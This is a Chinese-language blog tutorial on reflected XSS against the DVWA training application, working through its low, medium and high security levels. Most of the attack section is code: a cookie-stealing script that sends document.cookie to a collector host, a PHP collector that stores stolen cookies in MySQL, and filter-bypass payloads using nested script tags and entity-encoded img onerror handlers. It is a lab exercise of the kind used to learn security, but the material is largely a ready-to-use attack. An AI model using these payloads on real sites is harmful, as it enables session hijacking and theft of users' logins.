XSS(Reflected) 反射型跨站攻击

今天我学习一下反射型XSS。

打开DVWA网站,先切换到low级别,选择XSS(Reflected)

先查看其源代码:

 

<?php 

header 
("X-XSS-Protection: 0"); 

// Is there any input? 
if( array_key_exists"name"$_GET ) && $_GET'name' ] != NULL ) { 
    
// Feedback for end user 
    
echo '<pre>Hello ' $_GET'name' ] . '</pre>'

?>

从上面代码以及执行结果来看,直接把用户输入,也就是name变量值直接显示在界面。试探是否存在XSS,最直接的方法是输入payload代码  <script>alert("xss")</script>,执行查看结果,如果能够弹出alert对话框,则证明存在xss。

DVWA网站上,在上面提交<script>alert("xss")</script>,,出现上面提示框,则证明该网站存在xss攻击漏洞。

 

利用这个XSS,我们可以获取用户的cookie或session,获得后,可以构造“合法用户”去访问网站。首先编写js文件,在窗口输入中,输入后执行这个JS文件。JS代码如下:

document.write("<form action='http://192.168.92.129/DVWA/steal.php' name='exploit' method='post' style='display:none'>");

document.write("<input type='hidden' name='data' value='"+document.cookie+"'>");

document.write("</form>");

document.exploit.submit();

 

上面代码主要是构造一个页面,这个页面做一个隐藏的form表单和隐藏域,内容是把当前网站的cookie提交表单后,提交到steal.php文件处理。在攻击时,这个js文件和这个php文件以及数据库是放在攻击者自己的服务器上。这里我把他们都放在了同一个网站里,原理是相同的。

由steal.php文件完成把cookie写入文件,steal.php文件内容如下。

<?php

header("content-type:text/html;charset=utf-8");

$conn=mysqli_connect("localhost","root","123456");

mysqli_select_db($conn,"dvwacookie");

if(isset($_GET['data']))

{

    $sql="insert into low(cookie) values('".$_GET['data']."');";

    $result=mysqli_query($conn,$sql);

    echo "1</br>";

    mysqli_close();

}

else if(isset($_POST['data']))

{

    $sql="insert into low(cookie) values('".$_POST['data']."');";

 

    if (mysqli_query($conn,$sql)) { 

       echo "scuess!"; 

    } else { 

       echo "Error: " . $sql . "<br>" . mysqli_error($conn);

    }

 

    echo "2</br>".$_POST['data']."</br>";

    mysqli_close();

}

 else {

    $sql="select * from low";

    $result=mysqli_query($conn,$sql);

    while($row=mysqli_fetch_array($result))

    {

       echo "cookie is:".$row[1]."</br>";

    }

    mysqli_close();

}

?>

 

上面代码主要根据是get还是post,取数据函数不同。在连接数据库后,把cookie写入到表low中。建库和表的SQL语句如下。

这个库表的建立sql语句

SET FOREIGN_KEY_CHECKS=0;

DROP TABLE IF EXISTS `high`;

CREATE TABLE `high` (

  `id` int(11) NOT NULL AUTO_INCREMENT,

  `cookie` varchar(100) COLLATE utf8_unicode_ci NOT NULL,

  PRIMARY KEY (`id`)

) ENGINE=MyISAM DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci;

DROP TABLE IF EXISTS `low`;

CREATE TABLE `low` (

  `id` int(11) NOT NULL AUTO_INCREMENT,

  `cookie` varchar(100) COLLATE utf8_unicode_ci NOT NULL,

  PRIMARY KEY (`id`)

) ENGINE=MyISAM AUTO_INCREMENT=2 DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci;

 

DROP TABLE IF EXISTS `medium`;

CREATE TABLE `medium` (

  `id` int(11) NOT NULL AUTO_INCREMENT,

  `cookie` varchar(100) COLLATE utf8_unicode_ci NOT NULL,

  PRIMARY KEY (`id`)

) ENGINE=MyISAM AUTO_INCREMENT=8 DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci;

 

在输入窗口下,输入下面payload进行攻击,上面代码中为了调试,添加打印语句,实际攻击中,不会有内容输出到页面上。

<script src=http://192.168.92.129/DVWA/cookie.js></script>

相当于在浏览器地址栏执行下面语句:

http://192.168.92.129/DVWA/vulnerabilities/xss_r/?name=<script src=http://192.168.92.129/DVWA/cookie.js></script>

我们在这里演示为了方便,放在了同一个域下面。实际上src可以加载远程服务器的js。

 

执行完成后,看到已经插入到low表中。

如果没有插入记录成功,则可能是mysql设置问题,执行下面语句。

1 show variables like "sql_mode";

2 set sql_mode='';

3 set sql_mode='NO_ENGINE_SUBSTITUTION,STRICT_TRANS_TABLES';

 

XSS攻击方式经常是攻击者可以将带有执行脚本的链接地址伪装后发给正在访问某个网站(例如某银行网银)的受害者,受害者点击时就会加载远程服务器(这里是win7)的cookie.js脚本,这里要提一点,用src加载远程服务器的js脚本,那么js的源就会变成加载它的域,从而可以读取该域的数据。

 

下面是我们学习Medium级别,切换到中级,查看网站代码:

可以看到使用str_replace函数把<script>替换为空格了。所以我们在构造js文件时,可以利用str_replace函数只能替换一次,且不区分大小写的特点,在提交表单时,把js语句调整为<scri<script>pt src=http://192.168.92.129/DVWA/cookie.js></script>

上面str_replace函数是对name变量字符串进行正则替换,如果找到<script>替换为空,替换后执行的还是<script src=http://192.168.92.129/DVWA/cookie.js></script> 语句。

同时修改steal.php中的表,写到medium表中。执行后,检查medium表,可以查看到把cookie写到medium表中。

下面学习安全级别设置为Hight的情况。设置后查看源代码

 

发现添加了对大小写绕过的判断,而且根据正则表达式过滤,提交内容只要有script顺序出现的字母都一律过滤掉,只是过滤了script标签,但是有一些javascript事件后仍然能执行javascript代码,构造payload。

 

上面preg_replace字符串替换函数中,使用的正则表达式。

preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name'表示在在字符串中找script6个字符,i是不区分大小写,这些字符中间可以或前后可以有其它多个字符。

 

<img src=# οnerrοr=alert("xss")>   能够执行,证明还是存在XSS攻击。通过加载一个不存在的图片出错出发javascript onerror事件,继续弹框,证明出来有xss,这样的payload还有很多。

那么输入下面语句试试,发现没有得到cookie

<img

src=# οnerrοr=(location.href="http://192.168.92.129/DVWA/steal.php?data="+document.cookie)>

分析上面语句,发现了问题,在上面语句中,发现了可以构成script,看下面我标记后的语句

<img

src=# οnerrοr=(location.href="http://192.168.92.129/DVWA/steal.php?data="+document.cookie)>

 

说明把最后一个t之前的全部过滤了。

把其中一个字符使用ASCII编码,防止出现script字符串。

可以使用转码网站http://www.ofmonkey.com/encode/ascii

<img

src=# οnerrοr=(locat&#x69;on.href="http://192.168.92.129/DVWA/steal.php?data="+document.cookie)>

则能正常执行,获得cookie

 

我们再替换其中一个字符t,ASCII编码  &#116;

<img

src=# οnerrοr=(locat&#x69;on.href="http://192.168.92.129/DVWA/s&#116;eal.php?data="+document.cookie)>

执行完成后,也会得到cookie。字符转码是在攻击中经常使用的技术。

 

 

关注安全  关注作者manok

(完)

 

 

 

 

 

  • 0
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

manok

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值